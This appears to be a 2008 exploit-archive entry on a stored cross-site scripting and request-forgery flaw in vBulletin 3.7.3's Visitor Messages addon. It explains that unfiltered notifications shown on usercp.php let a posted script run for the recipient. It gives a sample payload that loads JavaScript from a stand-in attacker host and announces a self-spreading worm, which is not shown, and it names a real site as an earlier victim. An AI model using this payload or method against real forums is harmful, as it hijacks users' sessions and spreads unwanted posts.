Description: vBulletin 3.7.3 - Visitor Message Cross-Site Request Forgery / Worm
Type: webapps
Platform: php
Date: 2008-11-20
Author: Mx

Exploit:
/* -----------------------------
 * Author      = Mx
 * Title       = vBulletin 3.7.3 Visitor Messages XSS/XSRF + worm
 * Software    = vBulletin
 * Addon       = Visitor Messages
 * Version     = 3.7.3
 * Attack      = XSS/XSRF

 - Description = A critical vulnerability exists in the new vBulletin 3.7.3 software which comes included
 + with the visitor messages addon (a clone of a social network wall/comment area).
 - When posting XSS, the data is run through htmlentities(); before being displayed
 + to the general public/forum members. However, when posting a new message,
 - a new notification is sent to the commentee. The commenter posts a XSS vector such as
 + <script src="http://evilsite.com/nbd.js">, and when the commentee visits usercp.php
 - under the domain, they are hit with an unfiltered xss attach. XSRF is also readily available
 + and I have included an example worm that makes the user post a new thread with your own
 - specified subject and message.

 * Enjoy. Greets to Zain, Ytcracker, and http://digitalgangster.com which was the first subject
 * of the attack method.
